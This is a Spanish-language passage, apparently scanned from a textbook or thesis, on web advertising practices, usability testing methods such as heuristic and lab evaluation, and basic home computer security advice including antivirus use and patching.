atil y auténtica y se debe evitar a toda costa la charlataneria y el engafo a los
usuarios ya que esto repercute en la imagen del sitio y erosiona la reputacion

del mismo.
Articulos en e-zines

Otra forma de generar trafico hacia un sitio web es colocar articulos en
revistas y ezines sobre un tema en particular, el articulo debe ser escrito por

una persona que conozca bien el tema y que tenga credibilidad como

profesional.
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Al finalizar el articulo se puede colocar el correo electrénico y el URL del
sitio web donde puede encontrarse mas informacion; es mejor cuando se
colocan los articulos en varias revistas electronicas de preferencia con alto
trafico, lo cual puede negociarse con el equipo de administracion de la revista.
Nuevamente, es vital recordar que se debe evitar la charlataneria y la falsedad
ya que los usuarios lo detectaran e ignoraran en lo sucesivo al sitio web

promocionado.

Programas de afiliacion

Si se desea tener un alto nivel de trafico es indispensable contratar los
servicios de un programa de afiliacion. Como se mencion0 en paginas
anteriores, el programa de afiliacion permite a un sitio web determinado, que
sus elementos de publicidad sean incluidos en uno o mas sitios del afiliado,
para que estos elementos puedan ser apreciados por un gran numero de
posibles clientes, que utilizan los sitios del afiliado de manera masiva. Los sitios
del afiliado son, generalmente portales con alto tréfico, y por lo tanto, son una

buena opcion para generar visitas hacia sitios de terceros.

Microsoft ® utiliza mucho este tipo de servicio para sus productos. En el
sitio de programacion www.planet-sourcecode.com es comun visualizar banners
y ventanas flotantes de Microsoft ®. Como parte de su estrategia de publicidad,
Microsoft ® coloca medios en compafias afiliadas de alto trafico, en este caso
planet-sourcecode.com recibe muchisimos hits diariamente, lo que mejora las
posibilidades de CTR para la publicidad mostrada. Es sumamente importante
recordar que los sitios afiliados deben de tener relacion con el producto o
servicio al cual se desea hacer referencia, porque de este modo el publico
interesado forma parte del mercado objetivo de la empresa contratante.
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Formas de pago

Como se menciond en el breve glosario de publicidad de este capitulo,
existen varias formas de pago para un servicio de afiliacion, todas ellas basadas
en el tipo de beneficio que brindan, las mas populares son el costo por
impresion o CPM en el cual se cobra a la empresa contratante una cantidad
determinada por cada mil despliegues de la publicidad en las péaginas del
afiliado y el costo por clic CPC en el cual el afiliado cobra al contratante una
cantidad determinada por cada clic que recibe el banner o elemento publicitario
desplegado. Se debe analizar muy bien la forma de pago a utilizar para
determinar cudl es la mas efectiva para la situacion del sitio web. En el caso de
los sitios personales, se puede pautar con otros sitios gratuitos de similares
caracteristicas y utilizar un esquema de intercambio de banners de manera

gratuita y ésto mejora las posibilidades de hits para los involucrados.

Redes de afiliacion

Administrar un sitio afiliado puede ser una tarea complicada, sobre todo
para llevar el control de los pagos y estadisticas, compras etc. Para mejorar el
manejo de los mismos y proveer de un mejor medio de contratacion de afiliados
existen las llamadas redes de afiliacion que funcionan de manera similar a las
empresas de recursos humanos que contratan personal para terceros. Cuando
se desea contratar a una empresa de afiliacion, se solicitan los servicios de
estas redes, las cuales encuentran los posibles candidatos para el mercado
objetivo que desea la empresa contratante, cuando se contrata la red de
afiliacion normalmente cobra una cantidad por cada transaccién o bien se

puede acordar otros tipos de pagos.
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Cuidado con los charlatanes

Es bien conocido que existen en Internet, programas de afiliacion baratos,
que prometen grandes voliumenes de visitas, gran CTR ademas de otras
ventajas; sin embargo es necesario conocer cuales son los métodos utilizados

por dichos programas y sobre todo, cual es la reputacion que poseen.

Segun DimeClicks.com, diez por ciento de los afiliados operan para
sabotear el sistema para obtener ventajas ilegales, algunas de esas ventajas
son incrementar los CTR , incrementar falsamente las impresiones, sabotear el
software que controla las transacciones etc. Algunas empresas generan trafico
falso hacia el sitio contratante utilizando personas contratadas por ellos cuya
labor es dar clic en los banners que el afiliado les indique varias veces al dia, lo
cual eleva el CTR pero es un criterio falso. Muchas veces inclusive se engafia a
nifilos para que hagan esa labor.

En los sitios de hackers puede verse la leyenda de “ganar dinero por
navegar en Internet” o bien “gana usted y ganamos nosotros”, lo cual se refiere
a lo anteriormente dicho. Cuando se sospecha de tacticas ilegales o no éticas
por parte de un afiliado, debe reportarse a las autoridades en Internet de
inmediato para que se le penalice. Debido a estas medidas fraudulentas,
muchos expertos recomiendan que los pagos se hagan por concepto de ventas;
es decir, por CPS en el cual el afiliado cobra cada vez que se realice una venta
real de algun producto o servicio y no por impresiones o por clics efectuados.
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5.1.3 Errores comunes de publicidad en linea

Animacion exagerada

Cuando se disefia un banner o elemento publicitario, se recomienda que
éste tenga cierto grado de animacion y colores llamativos; sin embargo cuando
esto se exagera el resultado es el opuesto al deseado ya que los usuarios
ignoraran la publicidad ya que esta es molesta a la vista. Es recomendable
animar los banners de manera discreta y utilizar colores no irritantes a la vista,
ya que los colores mal combinados provocan que sea dificil de leer los

mensajes que contienen ademas que irritan a los usuarios.

Banners de premios y viajes

Muchos banners utilizan trucos como “felicitaciones, usted gand un premio
sorpresa, dé clic para reclamarlo” o bien “usted ha ganado un viaje gratis, de
clic aqui”, segun opinion de algunos expertos, los usuarios desconfiaran en lo
sucesivo de los sitios que utilicen estos trucos y en el futuro simplemente
cerraran las ventanas que los contengan. El verdadero motivo de estos banners

es incrementar el CTR de algun web site afiliado de manera poco ética.

Banners de pantalla completa

Esta técnica es utilizada por sitios de warez y pornografia y consiste en
que se abre un pop-up que contiene links y banners en una ventana que satura
totalmente la pantalla y no da opcion a cerrarla (carece de boton cerrar). El
objetivo es que el usuario promedio se vea confundido y no sepa como cerrar la

ventana de inmediato, lo cual da tiempo a que lea la publicidad mostrada.
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En cualquier caso se debe evitar esta técnica ya que es intrusiva y

extremadamente molesta para los usuarios.

Pop-ups en cadena

También utilizada por sitios prohibidos, esta técnica consiste en que
cuando se abandona algun sitio web, se abre una secuencia de pop-ups que
uno tras otro saturan la pantalla del usuario y que pueden incluir también
banners de pantalla completa y vinculos hacia sitios pornograficos. Esta
técnica es inaceptable y no se recomienda salvo en casos especiales para
mostrar promociones y ofertas pero que contenga solo una ventana mostrada y

de preferencia de tipo pop-under.

Bloqueo del historial

Algunos sitios por medio de cédigo agregan a la cadena del historial de
paginas visitadas una serie de vinculos hacia la misma péagina en la cual el
usuario se encuentra, para que cuando el usuario dé clic en el botdn regresar,
el browser se mantenga en la pagina actual. Esta técnica es inaceptable y

altamente irritante para los usuarios por lo que se desaconseja.

5.1.4 Habito seis en usabilidad: pruebas

Las pruebas son una herramienta indispensable en todo proceso de
desarrollo, permiten verificar que los objetivos del sistema se estén cumpliendo
a cabalidad y que los requerimientos se estén resolviendo favorablemente. Las
pruebas en usabilidad son fundamentales, ya que permiten en cualquier fase
del proyecto probar la calidad de las interfases creadas y proveer
retroalimentacion sobre la usabilidad existente en dichos prototipos.
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Una vez se han creado prototipos ya sea iniciales o avanzados, se debe
proceder con las pruebas y test de usabilidad, que son un complemento al
disefio orientado al usuario, ya que permiten corregir errores y deficiencias, asi
como mejorar sosteniblemente las interfases de usuario para proveer al usuario

final de la mas alta calidad en uso y facilidad del software que utilizara.
Escala de severidad de problemas

Antes de iniciar cualquier test, es necesario que todos los participantes
conozcan la escala de severidad de problemas, con el fin de que puedan
evaluar de la manera mas objetiva posible la interfase estudiada, la escala de
severidad muestra la gravedad, frecuencia y el impacto del problema
encontrado, lo cual influira en la solucién a encontrar y en el valor de soluciéon
del problema. La escala que se muestra a continuacion ha sido sugerida por el

gurl de la usabilidad Jacob Nielsen 3

La frecuencia de ocurrencia del problema: ¢es comun u ocasional?

El impacto del problema: ¢ sera de facil solucién para los usuarios?

La persistencia del problema: ¢ Sucedi6 una vez o continuara afectando a los

usuarios?

La escala de severidad para los problemas de usabilidad es la siguiente:
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0 = Segun mi criterio no es un problema en absoluto.

1 = Problema cosmético, se debe corregir sélo si en el proyecto se dispone de
tiempo adicional

2 = Problema menor de usabilidad, corregirlo es de bajo impacto/baja prioridad.

3 = Problema serio de usabilidad, es importante corregirlo, tiene prioridad alta.

4 = Catastrofe de usabilidad, es totalmente necesario corregirlo a la brevedad,
tiene la mayor prioridad/impacto de todas.

A continuacion se mencionan las mas importantes técnicas para verificar
la usabilidad de un sistema. Se debe mencionar que antes de realizar alguna
prueba final de usabilidad, se deben hacer pruebas piloto para corregir posibles

deficiencias en dichas pruebas, antes de llevarlas a cabo de manera definitiva.

Pensar en voz alta

Esta técnica es utilizada en varios tipos de pruebas de usabilidad y
consiste en que la persona que realiza el test “describe” las acciones que
realiza, para que los evaluadores entiendan los procesos mentales de los
usuarios mientras utilizan una interfase determinada. El didlogo comprende
acciones, ideas, sentimientos o distracciones que el usuario tenga en el
momento de realizar la prueba. Los mondlogos del usuario deben ser grabados
con el fin de analizar si existen discrepancias o bien si el participante se sintié
frustrado o confundido en algin momento. Es importante que el usuario
también aporte de ser posible, ideas y comentarios que ayuden a mejorar la

interfase bajo prueba.
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5.1.5 Recorrido cognoscitivo (Cognitive Walkthrough)

Esta es una de las técnicas que puede aplicarse en todo el proceso de
desarrollo y su objetivo es detectar posibles problemas de usabilidad de manera

sencilla y econémica incluso antes de implementar una interfase.

Se utiliza como herramientas, hojas de papel o acetatos que contengan
las interfases a revisar, los evaluadores someten a los disefios a escenarios de

uso real, con el fin de detectar inconsistencias, dificultades y otros problemas.

Se debe tener cuidado al seleccionar a los participantes ya que lo
deseable es personas que puedan hablar libremente y criticar sin temores
errores detectados, cosa que es dificil cuando se encuentra dentro del equipo
un superior o persona de mas rango. Por lo mismo, es importante seleccionar a

una persona que no sea timida o reservada.

Preparacién

Los test de interfase deben hacerse en hojas grandes de preferencia
tamafio A3 o0 en acetatos, el disefio debe ser de orientacion horizontal, las hojas
deben incluir un nimero Unico cada una, de preferencia las hojas deben ser de
un color diferente para que todos los miembros las identifiquen claramente.
Cada participante debe tener un numero o cédigo para ser identificado. Es
importante no estorbar a cada participante ni influir en sus decisiones, tampoco
se deben hacer comentarios hasta que no termine cada test individual, se debe
velar porque todos los participantes mantengan su opinion personal y no

adquieran ideas de los demas.
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Como realizar el test

Se debe elegir un grupo de de tres a cinco personas, una persona debe
ser el experto en usabilidad y las otras dos pueden ser un usuario y un
desarrollador. Cada persona debe tener un set de interfases en papel o

acetato, es importante que cada uno tenga los mismos materiales.

Se presenta una pantalla a la vez y a cada participante se le solicita que
mencione las acciones que ejecutaria en la pantalla mostrada (dar clic,
presionar un botén, escribir etc.). Se debe crear un escenario de dicha pantalla,
mostrando las secuencias, reemplazando la pantalla con otra hoja o
superponiendo acetatos, tareas que ejecuta un usuario distinto al que ejecuta la

prueba, para que la accion ejecutada por el usuario tenga un sentido.

Todos los participantes deben hacer apuntes en cada prueba y al final de
la misma, se discute como grupo los posibles errores y comentarios que tenga
la interfase estudiada anotandose claramente los mismos y complementandose
con las notas tomadas durantes los tests individuales. Se debe concentrar en
los instantes en los cuales el usuario “se bloquea” o encuentra dificil realizar

una tarea,

Se debe repetir la operaciéon para cada una de las pantallas o interfases a
probar y verificar que cada usuario realice un test individual, finalizando con el

comentario del equipo.

Una vez finalizada la prueba de todas las interfases elegidas, se debe
elaborar un reporte donde se indica los problemas encontrados, el nivel de
severidad de los mismos, asi como sus posibles soluciones alternativas. La

duracion de este test es de aproximadamente dos horas.
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5.1.6 Evaluacioén heuristica

La evaluacion heuristica es un método para encontrar deficiencias de
usabilidad en las interfases de usuario, de modo que puedan tomarse acciones
correctivas y mejorar dichas interfases para lograr una mejor experiencia de los
usuarios finales. El método es aplicado por un grupo de expertos que evallan
independientemente las interfases para determinar si estas cumplen con una
serie de normas y principios reconocidos, los cuales son llamados “heuristicos”.
En la evaluacion, los expertos hacen las veces de usuario, probando las

interfases y tomando nota de las observaciones efectuadas.

Los evaluadores deben ser personas con un alto grado de conocimiento
sobre disefio orientado al usuario e interaccion hombre-maquina, quienes
aplican sus conocimientos adquiridos en la busqueda de problemas de
usabilidad. Segun Nielsen *, el nimero ideal de evaluadores debe ser de entre
tres y cinco, ya que segun los experimentos conducidos por este experto son
pocos los problemas adicionales que se encuentran agregando mas
evaluadores. En el caso de sitios pequefios la evaluacion puede ser conducida

por un solo experto.

Una vez han evaluado todos los expertos (cada uno por separado y sin
ninguna influencia directa o inmediata de sus colegas), entonces se deben
reunir y comparar sus resultados para obtener una mejor perspectiva de los
tests. Esto es una actividad sinérgica ya que la unién de todos los expertos
permite encontrar mayor cantidad de problemas de usabilidad, esto es un hecho

comprobado.

Basandose en recomendaciones del departamento de usabilidad de Xerox

%2 |os pasos para realizar una evaluacién heuristica son los siguientes:
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Preparacion

¢ |dentificar y definir los heuristicos que se utilizaran como base de prueba
para evaluar las interfases del sistema en estudio.

e Seleccionar al equipo de evaluacion, entre 3 y 5 elementos.

e Preparar lugar, dia, hora y el tiempo para cada experto.

e Preparar material de apoyo para los evaluadores como informacion del
sistema, caracteristicas del negocio, tareas tipicas de los usuarios,

escenarios etc.

Actividades de cada experto

¢ Revisar los materiales de apoyo hasta entenderlos bien.
e Tratar de ponerse en el lugar del usuario.
e Listar los problemas que encuentre y tenga siempre en cuenta los

heuristicos. Identifique claramente las observaciones hechas.

Analizar el resultado como grupo

e Revisar cada una de las anotaciones hechas por los evaluadores.
e Agrupar los conceptos similares.

e Evaluar y juzgar cada problema contra un heuristico determinado.
e Asignar un grado de severidad a cada problema encontrado.

e Recomendar acciones para corregir el problema.
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Reporte de la evaluacién

e Compilar los resultados del grupo, cada problema debe tener un grado
de severidad, un vinculo hacia un principio de disefio, una explicacién del
problema de usabilidad y una recomendacion.

e Describa todas las fuentes, técnicas, resultados y demas informacion en
un formato facil de interpretar.

e Solicitar la revision del reporte por todos los miembros del equipo con el

fin de que no se escape ningun detalle importante.

Posterior al reporte se debe preparar una presentacién para los clientes
donde se muestren los errores y problemas encontrados y sus posibles

soluciones.

Se debe de elegir cuidadosamente la lista de principios a validar
(heuristicos) de acuerdo al sistema que se este evaluando, para
determinar cuales de éstos son de mayor importancia y comenzar con
ellos el test. A continuacion se presenta un modelo de cuestionario de

evaluacion heuristica para paginas web, propuesto por Infodesign *
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Tabla X criterios de evaluacién heuristica

Navegacion Cumplimiento

Siempre A veces Nunca

Existe clara indicaciéon de la localidad de la

pagina actual

Existe un vinculo claramente identificado

hacia la pagina base

Todas las partes del sitio son accesibles

desde la pagina inicial

Existe un mapa del sitio

La estructura del sitio es sencilla, sin

demasiados niveles ni redundancia.

De ser necesario provee un motor de

busqueda interno de facil uso.

Funcionabilidad Cumplimiento

Siempre A veces Nunca

Toda la funcionabilidad esta adecuadamente

etiquetada

Toda la funcionabilidad esta disponible sin

abandonar el sitio

No se necesita instalar plugins

Control Cumplimiento

Siempre A veces Nunca

El usuario puede cancelar todas las

operaciones

Existe una forma de salida claramente

definida en todas las paginas

Las péaginas son de 50kb o0 menos de tamafio

Todos los links graficos poseen equivalentes

de texto (links de texto)

El sitio funciona con los principales browsers
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Continuacion.

Las operaciones no se salen del control del

usuario
Lenguaje Cumplimiento
Siempre A veces Nunca
El lenguaje utilizado es simple
Se evita el uso de jerga o tecnicismos
Retroalimentacion Cumplimiento
Siempre A veces Nunca
Existe siempre certeza en la ocurrencia de
eventos en el sitio
Los usuarios pueden enviar dudas por correo
electrénico
Se informa a los usuarios si necesitan
descargar un plugin o si deben utilizar una
versién especifica de un browser.
Los usuarios pueden recibir ayuda por correo
electrénico
De ser necesario existe ayuda en linea
Consistencia Cumplimiento
Siempre A veces Nunca
Se usan términos de una palabra para
describir objetos
Los vinculos concuerdan con las paginas a
las cuales se refieren
Se utilizan los colores estandar en los
vinculos (activos y visitados)
La terminologia del sitio es consistente con el
uso general del web.
Prevencion y correccién de errores Cumplimiento
Siempre A veces Nunca

Los errores no ocurren innecesariamente
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Continuacion

Los errores estan descritos en lenguaje claro

y no en codigos internos de las aplicaciones

Los errores indican que accion tomar para

corregirlos.

Los errores muestran una clara via de salida

Los errores indican a quien acudir en caso de

ser graves.

Claridad visual Cumplimiento

Siempre

A veces

Nunca

El esquema es claro y sencillo

Existe suficiente espacio en blanco

Las imagenes tienen etiquetas ALT

La distribucion del texto es visible aiin en la

letra mas pequefia

Se evita la animacién innecesaria

Los colores estan bien utilizados y no son

estresantes para la vista.

Fuente: infodesign *

El cuestionario puede incluir escalas de severidad para cada elemento
evaluado; sin embargo, algunos expertos prefieren colocar las escalas
Unicamente en los reportes que se hacen posteriormente a la puesta en comun

de los resultados por parte de los evaluadores.

En una evaluacion heuristica profesional el listado es mas extenso y
complejo; sin embargo todos los evaluadores deben ponerse de acuerdo con

los principios a ser utilizados para las pruebas con el fin de que los resultados

sean consistentes.
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5.1.7 Evaluacion de laboratorio

Existe una técnica muy utilizada por los expertos que consiste en evaluar
directamente a los usuarios en el sistema en cuestion. Esta técnica permite
detectar en tiempo real los posibles problemas de usabilidad de una interfase
de usuario en tiempo real y también la conducta de los usuarios en una sesion

tipica de uso del sistema.

Caracteristicas

A diferencia de los tests anteriormente descritos, la prueba no la realiza
directamente un experto en usabilidad, sino los usuarios finales del sistema
quienes deben realizar diversas tareas comunes indicadas por el evaluador,
mientras que este ultimo Uunicamente se dedica a dar indicaciones al usuario y
a anotar y a registrar los eventos sucedidos. Como ayuda especial, este
método sugiere cuando sea posible, la utilizacion de camaras de video para
grabar el contenido de cada test, comentarlo posteriormente y reevaluar
posibles aspectos ignorados en el test. Se deben evaluar varios usuarios

quienes realizaran las mismas tareas, un usuario por test.

Este tipo de prueba requiere el montaje de un “laboratorio” que consiste en
un dos salones, uno donde se encuentra la computadora del usuario a evaluar,
otro donde se encuentra el evaluador, una pared divide a ambos salones, y de
preferencia el salon del usuario tiene un vidrio polarizado de tipo espejo que
permite observar al usuario sin que este ultimo pueda observar al evaluador,

con el fin de que no se sienta presionado ni estorbado en ninguna forma.
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Equipo necesario

e Dos habitaciones, cubiculos 0 modulos

e Dos computadoras, una con el software a evaluar en el cubiculo del
usuario y otra en el cubiculo del evaluador con software de apoyo para la
evaluacion.

e Micréfonos (si estan disponibles) para dar instrucciones al usuario.

e Camara y videograbadora (si esta disponible) para grabar la sesion,
(puede usarse web cams).

e Cablesy bocinas.

Materiales necesarios

SegUn la compafiia Infodesign ** los materiales necesarios para conducir

una evaluacion de laboratorio son los siguientes:
Horario

Esta es una hoja donde se escriben los nombres de los participantes de la
prueba, indicando la fecha asignada a cada uno, la hora y la localidad, asi como
el nombre y el teléfono del participante. Se recomienda ponerlo en un lugar
visible para evitar confusiones.

Guia de observacion

Esta guia contiene los lineamientos a ser observados por el equipo de

evaluacion durante todas las pruebas.
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Estos lineamientos incluyen la conducta de los evaluadores y la actitud
hacia los usuarios participantes, entre otras cosas, la funcién de esta guia es
proveer una serie de principios basicos (enunciado de mision de la prueba) que

permita realizar la evaluacion sin problemas mayores ni confusion.

Script

El script es una forma de estandarizar la prueba y garantizar que todos los
usuarios participantes realicen las mismas tareas. El script se realiza durante la
planeacién de las pruebas y se revisa durante la prueba piloto del test de
usabilidad. Antes de comenzar la prueba se debe leer a cada usuario el script
para verificar las reglas del juego. Nunca se debe evaluar sin script, para evitar

omisiones ni agregados involuntarios a la prueba.

El contenido del script debe ser sencillo, claro y amigable, se comienza
con una bienvenida al usuario, introduccién breve de la prueba indicando sus
objetivos, se explica la funcion de cualquier equipo presente (como camaras de
video si se utilizan). Luego se procede a detallar cada una de las tareas a
realizar indicando al usuario qué debe hacer en cada una de forma breve. Es
aconsejable que cada tarea se encuentre en una hoja distinta para que el
usuario no pueda leerlas por anticipado y falsear la prueba. Finalmente el script
puede tener un mensaje de agradecimiento y la solicitud para llenar un

cuestionario de evaluacion final.
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Forma de consentimiento

En caso se utilice video para grabar la prueba, es necesario que el usuario
llene una forma de consentimiento donde autorice a los evaluadores, el uso de
las imagenes que se tomaran durante la prueba, se debe enfatizar que las
imagenes no seran utilizadas para ningun otro propdésito mas que las pruebas
de usabilidad y que seran de estricta confidencialidad, se finaliza con la firma

del usuario autorizando el uso de video.

Hojas de apuntes

Son hojas comunes que sirven para anotar cualquier observacién hecha
por los evaluadores. Posee en la parte superior espacios para indicar la fecha,
hora, sitio evaluado, nombre del evaluador, nimero de hoja y namero del
usuario participante. Estas hojas seran utilizadas en las sesiones post-

evaluacion para tomar decisiones y recomendaciones.

Cuestionario final

Este cuestionario (que es opcional) puede pasarse al usuario al final de la
prueba y sirve para conocer detalles del usuario a nivel de educacion, edad,
habitos de uso del sitio en evaluacién y al final se pregunta una serie de
afirmaciones que tienen que ver con la opinion del usuario sobre el sitio que

acaba de utilizar. La tabla XII muestra un posible cuestionario final
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Tabla Xl cuestionario Final

Preguntas Totalmente de | De acuerdo Neutral En Total desacuerdo

acuerdo desacuerdo

El sitio X es facil de

usar

Siempre se donde

estoy en el sitio

Es dificil de

aprender

No recibi suficiente

entrenamiento

La ayuda en linea

es util

Si tuviera que cambiar 3 cosas al sitio X, ¢cuales serian esas cosas?
1

2
3

¢ Tiene algun comentario o sugerencia?

Fuente: infodesign **

Reclutamiento de usuarios

Para las pruebas de laboratorio, es indispensable contar con usuarios
dispuestos a colaborar en ellas. Para motivar la participacion, es comun ofrecer
una motivacion al usuario como un regalo, un objeto promocional, consumo en

algun establecimiento o cafeteria o bien dinero en efectivo.
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La regla de oro a la hora de reclutar usuarios es que éstos deben ser
representativos de la poblacion de usuarios del sitio, esto es necesario
porque se necesita conocer los habitos y caracteristicas del mercado objetivo
hacia el cual va orientado el sitio web, sea este comercial o no. Como regla
general se debe elegir entre tres y cinco usuarios; sin embargo, es necesario
qgue los expertos evaluen el numero adecuado de participantes segun sea la

complejidad del sitio a evaluar.

Desarrollo de las pruebas

Una vez se tienen listos todos los materiales y el equipo a utilizar, se debe
aplicar la prueba a cada participante; a continuacion se muestra un posible

escenario de ejecucion:

e Explicar al usuario el disefio del laboratorio de usabilidad, el software a
utilizar y si existen cAmaras muestra para que funcionan y trate de que el

usuario se sienta comodo en el area de evaluacion.

e Confirmar que el usuario ha entendido el funcionamiento del hardware y
del software que utilizard en la prueba. Refuerce cualquier duda en este

momento.

e Haga que el usuario se siente en su sitio e indiquele donde se encuentra
el script de la prueba y el cuestionario final, asi como cualquier otro

artefacto propio del test. Revise que estos artefactos estén completos.
e Si se utiliza video hacer que el usuario firme la autorizacion escrita.
e Preguntar al usuario si tiene alguna duda adicional.

e Leer al usuario el script en la seccion de introduccion y descripcion de la

prueba.
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Nuevamente preguntar si el usuario tiene alguna duda.

Explicar al usuario la técnica de “pensar en voz alta” y practicar
brevemente con ejemplos en el computador hasta que el usuario se

sienta comodo.

Indicar al usuario que este listo para realizar la primera tarea del script

tan pronto como reciba la indicacion del evaluador

Regresar al area del evaluador, si se utiliza video, verificar que este se

encuentre funcionando correctamente e iniciar la grabacion.
Indicar al usuario que comience con la primera tarea.
Registrar el tiempo del usuario en completarla o abortarla.
Indicar al usuario que continde con la siguiente tarea.

Indicar al usuario que realice todas las tareas, hasta que todas ellas sean

concluidas o abortadas una por una.
Indicar al usuario que la prueba ha finalizado.
Solicitar al usuario que llene el cuestionario final.

Una vez terminado, agradecer al usuario su presencia y acompafarle a

la salida.

Recomendaciones practicas

Realizar una prueba piloto antes de conducir la prueba final, para evaluar
posibles fallos en la prueba.

Dar suficiente tiempo entre las sesiones, asi se evitara que los usuarios
atiendan el laboratorio prematuramente y se aburran, lo cual puede hacer

que deserten de la prueba.
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e Evitar dar pistas al usuario sobre una tarea accidentalmente, es decir no
debe darle el camino correcto como instrucciones sino meramente la
tarea a utilizar en lenguaje normal

e Evitar interrumpir al usuario

e Evitar risas 0 bromas ya que el usuario se puede sentir aludido y pensar
que se dirigen a el

e Mantener silencio en el laboratorio

e Evitar los curiosos

e El usuario no debe saber sobre conceptos de usabilidad

5.1.8 Reporte de usabilidad

Una vez concluidas las pruebas (en cualquiera de los métodos
mencionados) se debe proceder a la creacion del reporte de usabilidad.

El reporte consiste en un resumen ordenado en el cual se presentan las
deficiencias encontradas, la severidad de las mismas, asi como consejos y
recomendaciones para su correccion. El reporte debe ser legible para cualquier
persona ajena a la terminologia de wusabilidad y debe evitar el uso
indiscriminado de tecnicismos, ya que su objetivo es comunicar a aquellas
personas involucradas al sitio evaluado, los resultados de las pruebas en

términos manejables y comunes para cualquier persona que utilice el sitio.
Una vez concluido, se debe presentar al administrador del proyecto y al

equipo de desarrollo para discutir los problemas encontrados y como

resolverlos.
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También es importante llevar un resumen de los resultados obtenidos del
cuestionario final de los wusuarios para determinar sus motivaciones Yy
comentarios y ver si estos pueden ayudar a la busqueda de soluciones

alternativas a los problemas encontrados.

5.1.9 Habito seis en seguridad

El manejo de la seguridad de un sitio web es responsabilidad del experto
en seguridad del equipo. Sin embargo, los usuarios en sus diferentes
ambientes son vulnerables a una serie de amenazas que por su complejidad o
ignorancia pueden resultar altamente perjudiciales, no solo para ellos sino para
la seguridad general del sitio. En este apartado se discutird sobre la seguridad
de las computadoras de los usuario s que se conectan desde sus hogares u

oficinas, para que puedan hacerlo de manera mas segura y confiable.

Esto es una tipica funcidon de sinergia ya que permite a los expertos en
seguridad adiestrar a los usuarios externos para que mejoren sus politicas de
conexion en el hogar y oficinas y logren mejores resultados en su tiempo en

linea sin exponerse de manera ciega a amenazas reales.

Como ejemplo, se cita un caso que se hizo famoso y enfurecié a la
comunidad de “gamers” a nivel mundial. En el 2003, Valve Software estaba a
punto de lanzar la segunda version de su aclamado juego half life el cual es un
producto de software que les hizo alcanzar la fama y muy buenas utilidades.
Conscientes de las amenazas en la red, los expertos de seguridad de Valve
tenian una muy buena seguridad perimetral de la red y se mantenian al dia en
cuanto a updates y parches, por lo que se consideraba el sistema de valve

COmO un sistema muy seguro.
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Sin embargo, un dia, un usuario del equipo de desarrollo acceso la red
desde una maquina externa a la red para consultar su correo electronico. Al
poco tiempo se dieron cuenta de algo que no estaba en los planes: Un hacker
habia entrado al sistema y se habia robado el codigo fuente del juego y del
motor de graficos 3d, el cual era el orgullo de valve debido a sus novedosos

sistemas de graficos.

Al investigar la posible causa, se determind que la maquina desde donde
el usuario se conecto al sistema, tenia instalado un key logger o spyware que
registra toda la actividad del teclado, por lo que el hacker obtuvo faciimente el
usuario y contrasefia del sistema, desde donde pudo cometer el robo antes
mencionado. Puede pensarse que se trata de un juego Unicamente y no de
datos sensibles de usuarios como tarjetas de crédito o cuentas bancarias, pero
para Valve Software, el resultado es catastréfico porque les negoé la posibilidad
de lanzar su producto software en tiempo y posiblemente perder su ventaja
competitiva en el mercado debido a que su motor de graficos se encontraba en

manos equivocadas.

Este es un ejemplo de lo que puede pasar si un eslabén de la cadena de
seguridad falla. El objetivo de este capitulo es preparar a los usuarios para que
reduzcan las posibilidades de ser victimas de un ataque por medio de técnicas
sencillas y a la vez sdlidas basadas en habitos de navegacion efectiva y de

politicas de seguridad en el ambiente del hogar o la empresa.
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5.1.10 Seguridad en el hogar

Existe una serie de recomendaciones para mejorar la seguridad en
ambientes de hogar o pequefios negocios, cada una de estas recomendaciones
viene dada por la inseguridad reinante en la red, donde no se saben quién
podria estar tratando de ganar acceso a la computadora del hogar y oficina ni
tampoco con que proposito. Aunque tener las computadoras fuera de todo
peligro es practicamente imposible, si se puede utilizar Internet con un alto
grado de confianza desde esos ambientes si se sigue una serie basica de
pasos, CERT ha recomendado las siguientes estrategias para mejorar la
seguridad de computadoras domésticas y de pequefias oficinas *

Antivirus

Es un hecho bien conocido que las infecciones de virus son comunes,
atacan cuando menos se les espera y en el peor de los casos tienen efectos
devastadores sobre la informacién almacenada en las computadoras. Quizas
nunca se podra comprender qué empuja a los programadores a disefiar virus,
porque no parece nada divertido que un programa destruya informacién de
usuarios inocentes solo por puro gusto, muchas expertos creen que los autores

de los virus los escriben para mostrar su talento y capacidad de programacion.
Lo cierto es que diariamente aparecen cerca de una decena de nuevos

virus, ya sea nuevos o modificaciones de virus existentes, lo cual obliga a tener

una buena proteccién contra los mismos.
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Los antivirus son aplicaciones que permiten tener el control de muchos
virus aunque desgraciadamente no pueden detener a todos, especialmente a
los virus nuevos. Sin embargo, los laboratorios de las empresas que
construyen estos programas, compiten por crear antivirus actualizados y que
detecten una gran cantidad de virus incluyendo virus desconocidos, basandose

en criterios comunes de infeccion.

Como usuario, debe preocuparse que su antivirus esté instalado y
funcionando, luego que este actualizado hasta la ultima definicion de virus
segun sea el producto y por ultimo que la deteccién en tiempo real esté
activada, para detectar cualquier archivo que pueda estar infectado, antes de

que dafe el sistema y quizas sea demasiado tarde.

En el mercado existen diversas soluciones de antivirus, cada una con
distintas caracteristicas que prometen al usuario mejor control de los virus,
entre las soluciones mas utilizadas se pueden mencionar:

e Norton Antivirus

e Dr. Solomon

e Panda Antivirus

e Mc Affee Viruscan

e PcCillin, etc

Los virus pueden entrar a una computadora por medio de disquetes, CD
ROM e Internet entre otros medios, asi que revise cada medio que ingrese a

la computadora para verificar que no venga infectado.
Siempre se debe vacunar todo archivo que se descargue de Internet
porque podria contener un virus y activarse en cualquier momento si abre o

ejecuta.
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CERT recomienda las siguientes pruebas para evaluar un programa
antivirus: (los programas arriba mencionados pueden descargarse y

evaluarse por un plazo determinado)

e Eltest de demanda: ¢ se puede escanear un archivo en demanda como
cuando se va a enviar un archivo por correo?

e Eltest de update: ¢, se puede actualizar las definiciones de virus de
forma automatica?

e Eltest de respuesta: ¢de qué maneras puede el programa responder
ante una infeccidon? ¢se puede el programa limpiar el virus?

e El test de chequeo: ¢se puede revisar cada archivo que llega a la
computadora? ¢,se puede realizar los chequeos automaticamente?

e El test de heuristicos: ¢realiza el programa un test heuristico? (el test
heuristico del antivirus consiste en buscar patrones sospechosos en
archivos que puedan ser indicadores de nuevos virus, no confundir con el

test heuristico de usabilidad)

Mantenga el sistema actualizado

Ningun producto de software por muy bueno que sea, esta exento de
errores. Aun cuando contenga muy pocos errores, si tendra deficiencias, ya
sea por falta de cobertura hacia determinadas funciones, bien sea por nuevas

versiones o cambios tecnolégicos.

Los parches (patches en inglés) son programas o librerias que se pueden
aplicar al sistema operativo o las aplicaciones para resolver problemas de
errores, afiadir nuevas funciones o bien mejorar aspectos de seguridad o

funcionabilidad.
